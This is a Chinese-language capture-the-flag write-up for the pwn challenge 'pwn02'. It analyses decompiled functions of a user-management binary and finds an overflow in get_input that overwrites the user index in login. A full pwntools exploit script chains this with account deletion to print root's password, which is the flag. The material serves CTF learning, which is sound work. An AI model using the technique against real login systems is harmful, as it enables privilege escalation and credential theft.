这道题似乎在网上没有很详细的WP,所以我就来写一下吧。

附件:pwn02

分析main函数

经典的菜单,先放一下。

分析init函数

注意到读入了flag,并且将flag复制到了某区域。注意到v5似乎是某堆块,猜测堆块是存储用户的结构体。注意到Line22,似乎是root的用户名。大胆猜测v5+1033存储用户密码。故root的密码为flag

分析create_new_user函数

似乎没有明显的bug,尝试跟进change_password函数。

分析change_password函数

此处Line11验证了前文猜测v5+1033是密码的猜想。

并且此处限制密码长度在0x7-0x18之间。此函数作用为向a1+1033(即结构体密码字段)写入密码值。


目前为止似乎没有太大问题。先暂停一下回想我们的目的是获取root的密码。继续向下分析。

分析login函数

注意到该函数比较密码字段时只会比较前0x18个
注意到该函数s1dest在栈上!

注意到自定义的get_input函数,分析之。

分析get_input函数

很鬼精的使用了安全的fgets,但是却自作聪明的添加了Line15-18,导致最后一个字节是\0

回想一下create_new_user,似乎看到两个全局变量:usersnb_user,分别存储用户堆块地址和用户数量,那么,root在第几个呢?
答案是第0个,参见initLine28。

同时,注意到loginv3users的索引,与s1位置间隔0x400,且get_input可以输入1025字节,恰好覆盖索引低地址!


所以可以构造初步流程:
注册->登陆->覆盖v3以获取root

注册时,可提交0x18个A,以便覆盖时使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-----create_new_user
p.sendline('1')
p.recvuntil('username :')
p.sendline('pwn') #随便取一个名
p.recvuntil('password :')
p.sendline('A' * 0x18)

#-----login
p.sendline('2')
p.recvuntil('Username :')
p.sendline('pwn')
p.recvuntil('Password :')
gdba()
p.sendline('A' * 1022 + 'x')

此时断点调试:

覆盖后:

成功。注意到return到menu,传参为v3,即root的索引。


分析menu函数

需要先激活一下,否则不能查看data

然后分析remove函数

分析remove函数


注意到图2,如果尝试删除root账户,则users[0],users[1]会变为新注册用户。

删除root只是为了进入到show_data环节,因为show_data的对象是根据menu传参的a1来决定的。所以此时show_data就可以获取root的密码了。


exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#create user&password -> login -> validate psn session -> delete root -> show root passwd

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'


def gdba(x=''):
if type(p) == pwnlib.tubes.remote.remote:
return
elif type(p) == pwnlib.tubes.process.process:
gdb.attach(p, x)
pause()


# p = remote("pwn.challenge.ctf.show", 28105)
p = process('./pwn02')
#-----main -> menu
#-----from main

#-----create_new_user
p.sendline('1')
p.recvuntil('username :')
p.sendline('pwn')
p.recvuntil('password :')
p.sendline('A' * 0x18)
# pause()
#-----login
p.sendline('2')
p.recvuntil('Username :')
p.sendline('pwn')
p.recvuntil('Password :')
p.sendline('A' * 1022 + 'x')
# pause()
#-----to menu

#-----manage users
p.sendline('3')
p.sendlineafter('modify :', 'pwn')
p.sendlineafter('>', '3')
# pause()
#-----delete account
p.sendline('4')
p.sendlineafter('delete :', 'root')
gdba()
#-----show my data
p.sendline('3')
p.recvuntil("Password : ")
print(p.recv())
p.interactive()